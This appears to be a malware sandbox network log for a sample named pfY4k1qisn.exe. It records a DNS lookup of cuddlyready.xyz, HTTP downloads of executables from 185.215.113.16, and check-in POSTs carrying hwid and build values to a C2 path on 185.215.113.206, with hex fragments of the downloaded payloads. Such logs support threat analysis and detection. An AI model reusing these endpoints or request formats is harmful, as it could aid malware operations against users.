Dec 23, 2024 08:23:44.657649994 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.657723904 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.657737970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.657757044 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.658365011 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.658411980 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.658438921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.658451080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.658487082 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.658565998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.659152985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.659195900 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.659225941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.659240007 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.659267902 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.659373045 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.659939051 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.659977913 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.660018921 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.660031080 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.660060883 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.660145044 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.660808086 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.660850048 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.660892010 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.660904884 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.660940886 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.661077023 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.661540985 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.661582947 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.661613941 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.661624908 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.661657095 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.661792994 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.662317038 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.662358999 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.662417889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.662430048 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.662460089 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.662544966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.663101912 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.663150072 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.663177967 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.663189888 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.663224936 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.663358927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.671142101 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.711158037 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.711210966 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.711224079 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.711323023 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.711328983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.711369038 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.711421013 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.711432934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.711467981 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.711539030 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.711570024 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.711606026 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.712163925 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.712228060 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.712240934 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.712266922 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.712357998 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.712393999 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.712949038 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.713007927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.713021040 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.713044882 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.713432074 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.713466883 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.713494062 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.713505983 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.713536978 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.713653088 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.714241028 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.714277029 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.714303970 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.714315891 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.714344978 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.714435101 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.715020895 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.715056896 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.715065956 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.715078115 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.715106964 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.715240955 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.715774059 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.715811968 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.776104927 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.776132107 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.776146889 CET	80	49731	185.215.113.16	192.168.2.5
Dec 23, 2024 08:23:44.776252031 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:44.827914953 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:45.149564981 CET	49731	80	192.168.2.5	185.215.113.16
Dec 23, 2024 08:23:47.084461927 CET	49763	80	192.168.2.5	185.215.113.206
Dec 23, 2024 08:23:47.203999043 CET	80	49763	185.215.113.206	192.168.2.5
Dec 23, 2024 08:23:47.204112053 CET	49763	80	192.168.2.5	185.215.113.206
Dec 23, 2024 08:23:47.252540112 CET	49763	80	192.168.2.5	185.215.113.206
Dec 23, 2024 08:23:47.372121096 CET	80	49763	185.215.113.206	192.168.2.5
Dec 23, 2024 08:23:48.537229061 CET	80	49763	185.215.113.206	192.168.2.5
Dec 23, 2024 08:23:48.537278891 CET	49763	80	192.168.2.5	185.215.113.206
Dec 23, 2024 08:23:48.541165113 CET	49763	80	192.168.2.5	185.215.113.206
Dec 23, 2024 08:23:48.661262035 CET	80	49763	185.215.113.206	192.168.2.5
Dec 23, 2024 08:23:48.990360975 CET	80	49763	185.215.113.206	192.168.2.5
Dec 23, 2024 08:23:48.990449905 CET	49763	80	192.168.2.5	185.215.113.206
Dec 23, 2024 08:23:50.897619009 CET	49763	80	192.168.2.5	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 08:23:13.917193890 CET	59685	53	192.168.2.5	1.1.1.1
Dec 23, 2024 08:23:14.055908918 CET	53	59685	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 08:23:13.917193890 CET	192.168.2.5	1.1.1.1	0x1e83	Standard query (0)	cuddlyready.xyz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 08:23:14.055908918 CET	1.1.1.1	192.168.2.5	0x1e83	No error (0)	cuddlyready.xyz		172.67.150.173	A (IP address)	IN (0x0001)	false
Dec 23, 2024 08:23:14.055908918 CET	1.1.1.1	192.168.2.5	0x1e83	No error (0)	cuddlyready.xyz		104.21.32.96	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cuddlyready.xyz

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49731	185.215.113.16	80	5732	C:\Users\user\Desktop\pfY4k1qisn.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:23:34.006548882 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:23:35.338722944 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:23:34 GMT Content-Type: application/octet-stream Content-Length: 2765312 Last-Modified: Mon, 23 Dec 2024 07:19:04 GMT Connection: keep-alive ETag: "67690ee8-2a3200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ `Ui`D @ @ @.rsrcD``@.idata f@brdofphe))h@pzoalvov `@.taggant@"@
Dec 23, 2024 08:23:35.338776112 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:23:35.338788986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:23:35.338952065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:23:35.339036942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:23:35.339049101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:23:35.339062929 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 08:23:35.339401960 CET	1236	IN	Data Raw: 7a bb 37 45 66 99 54 65 36 9a 2e 45 8e a9 2e 45 70 bb 32 45 66 99 54 4b 8e 97 2e 45 6c b9 58 45 66 a6 5e 48 66 f8 2e 45 66 96 2e 45 77 bb 45 45 66 9d ac 59 66 93 38 4f 71 a9 3a 70 ad 9a 36 df 73 9c 9d 5d 66 93 38 b7 89 93 2e b5 8e ac 2e 45 70 bf Data Ascii: z7EfTe6.E.Ep2EfTK.ElXEf^Hf.Ef.EwEEfYf8Oq:p6s]f8..Ep[N.Ep<Eh@E.El/ol3EfTmr.KoIEfVIf4knQnF5mj.K.Ef^Hf.Ef.EwEEfYf8Oq:p6s]f8g..EpVN.Ep<Eh@E.El/ol3EfTN.Ep2EfTM}:
Dec 23, 2024 08:23:35.339416981 CET	1236	IN	Data Raw: 6e 99 2e 81 6c 79 38 4b 66 84 36 33 6f 99 2e d3 70 81 37 4b 66 f8 34 33 6f 99 2e 0f 71 81 37 4b 66 e0 37 37 71 9d 2e cb 70 47 38 4b 66 a9 39 4f 66 99 2e 3a 6f 81 37 4b 66 f4 35 33 6f 99 2e 31 6c 81 37 4b 66 40 38 33 6f 99 2e 8d 6a cc 36 4b 66 f7 Data Ascii: n.ly8Kf63o.p7Kf43o.q7Kf77q.pG8Kf9Of.:o7Kf53o.1l7Kf@83o.j6Kf63o.gq.Kf7Of.j.Kf33o.Ef.Ef.Ff.Eg.ol8f.Ff/Uf5+p.Ff.Ef.!o6f.Hf/EfB7Ef.Lf.Hg.;l.f.Yf/Efs4Ef.Xf.Hg.p.f.Yf/Ef21Ef.gf.Hg.h.
Dec 23, 2024 08:23:35.339430094 CET	1236	IN	Data Raw: 66 0c 2f ec 6f a3 2e c6 66 3a 38 4b 66 2c 2f ec 6f ad 2e 0e 67 3a 38 4b 66 1c 2f ec 6f 99 2e ee 66 3a 38 46 66 6c 2f 76 6f bc 2e 1e 67 be 39 71 66 74 2f 7b 6f c5 2e f6 66 b7 38 86 66 44 2f d9 6b da 2e 2e 67 be 39 90 66 44 2f 51 6b e4 2e 36 67 64 Data Ascii: f/o.f:8Kf,/o.g:8Kf/o.f:8Ffl/vo.g9qft/{o.f8fD/k..g9fD/Qk.6gd4fL/Pq.f9fL/In/f6f/Zl.f:8Kf.Mf/Nf.f.Uf&/Nf.f.]f0/Nf.f.if:/Nf.f.qf?/Nf.f.}f5/Nf.f.f!/Nf.f.f&/Nf.f.f!/Nf.f.fN/Nf.g.
Dec 23, 2024 08:23:35.458376884 CET	1236	IN	Data Raw: b3 e2 72 8e ac ec 8d 87 b5 e2 82 a4 a9 e2 7c 8b af da 2e 98 ab e5 84 8e a9 d8 8d 96 bb d8 80 9e c5 d6 7d 93 ac dc 75 45 b9 d6 8d 92 a7 e1 6f 8c ab e5 8d 91 b5 d6 79 45 b9 d8 80 9b af d6 73 a4 ab e5 80 94 b8 f2 71 97 af e7 77 88 a7 df 2e 98 ab e5 Data Ascii: r\|.}uEoyEsqw.}}zEssss}}fsq}}fv}w.\|rsfsqwsEsq.
Dec 23, 2024 08:23:39.991715908 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 23, 2024 08:23:40.428045034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 07:23:39 GMT Content-Type: application/octet-stream Content-Length: 2835456 Last-Modified: Mon, 23 Dec 2024 07:21:00 GMT Connection: keep-alive ETag: "67690f5c-2b4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(pN@NL+@M$a$$ $h@.rsrc$x@.idata $z@ynqricro)$)\|@wjlvyldl`N+@.taggant0pN""+@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49763	185.215.113.206	80	5972	C:\Users\user\AppData\Local\Temp\3OOSPM4ALB20HNBF9BKAZ05L4UJVY.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 08:23:47.252540112 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 23, 2024 08:23:48.537229061 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:23:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 23, 2024 08:23:48.541165113 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDGHIDBKJEGIECBGIEHC Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 30 42 39 37 37 37 38 31 34 44 37 32 32 38 34 35 38 32 31 32 37 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 48 49 44 42 4b 4a 45 47 49 45 43 42 47 49 45 48 43 2d 2d 0d 0a Data Ascii: ------GDGHIDBKJEGIECBGIEHCContent-Disposition: form-data; name="hwid"50B9777814D72284582127------GDGHIDBKJEGIECBGIEHCContent-Disposition: form-data; name="build"stok------GDGHIDBKJEGIECBGIEHC--
Dec 23, 2024 08:23:48.990360975 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:23:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	172.67.150.173	443	5732	C:\Users\user\Desktop\pfY4k1qisn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:23:15 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cuddlyready.xyz
2024-12-23 07:23:15 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-23 07:23:16 UTC	1124	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:23:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=133clsbg0qbkib07jco9hcbq5e; expires=Fri, 18 Apr 2025 01:09:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kNYtO3xrRpc%2BsOT2qy%2FkBLYDtkGVJAzDMqpv20PCJazsUo7f4Q28x7UVaL3w1S7vZJDQtGoXcT5U4UXk1Oiay38IV4omlNbtXR%2FZEt2%2BsQtmyvtUrpKNpCMOTkW9uJxeQGo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f669aee3bbe0c7e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1490&min_rtt=1488&rtt_var=563&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1936339&cwnd=77&unsent_bytes=0&cid=ac0a1c18930c2960&ts=744&x=0"
2024-12-23 07:23:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-23 07:23:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	172.67.150.173	443	5732	C:\Users\user\Desktop\pfY4k1qisn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:23:17 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: cuddlyready.xyz
2024-12-23 07:23:17 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-23 07:23:18 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:23:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c65omuttosbu381tu84bdjtc5v; expires=Fri, 18 Apr 2025 01:09:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KsfidL%2FHzYfzEc%2BZ2gidp%2F6oQIhHK8uTnudPjtpL0%2FXvutg0CKU0ZNwaiKX45Z%2FAdo8EWgdvdV9UgTq%2Ffn%2FKrWZCzO4V8uKerfChl2GYlJ%2BfQsA4e%2FncQauOeF7I2HHXDtI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f669afa7f3d558a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1517&min_rtt=1507&rtt_var=585&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=946&delivery_rate=1837633&cwnd=252&unsent_bytes=0&cid=c1d3d7b96a45b26e&ts=775&x=0"
2024-12-23 07:23:18 UTC	234	IN	Data Raw: 63 35 31 0d 0a 57 42 48 44 54 36 70 68 41 79 37 79 69 73 51 6d 49 4f 38 30 56 72 4b 70 43 44 71 45 57 45 79 52 2b 64 53 41 38 4f 42 2f 75 4a 38 6a 4d 37 56 74 6b 46 55 76 44 49 48 76 35 68 78 55 6e 55 45 7a 6e 6f 74 70 58 71 5a 69 4b 76 43 56 70 2b 58 63 77 67 6e 56 76 57 4a 33 6f 69 50 5a 42 43 38 4d 6c 2f 4c 6d 48 48 75 55 46 6a 50 63 69 7a 49 59 34 54 49 75 38 4a 57 32 34 5a 75 50 44 39 54 38 4d 48 32 6b 4a 38 38 43 5a 30 2b 65 35 36 46 44 52 59 35 65 4f 4e 76 45 59 46 65 6d 64 47 37 30 67 2f 61 36 30 71 30 61 7a 50 34 56 63 4c 41 6b 69 42 77 76 56 64 44 76 71 67 51 61 7a 56 55 7a 30 4d 56 75 58 75 38 77 4a 50 6d 64 74 2b 53 61 6b 42 62 65 39 7a 42 7a 70 79 62 46 43 33 4e 43 6c 4f 43 71 52 Data Ascii: c51WBHDT6phAy7yisQmIO80VrKpCDqEWEyR+dSA8OB/uJ8jM7VtkFUvDIHv5hxUnUEznotpXqZiKvCVp+XcwgnVvWJ3oiPZBC8Ml/LmHHuUFjPcizIY4TIu8JW24ZuPD9T8MH2kJ88CZ0+e56FDRY5eONvEYFemdG70g/a60q0azP4VcLAkiBwvVdDvqgQazVUz0MVuXu8wJPmdt+SakBbe9zBzpybFC3NClOCqR
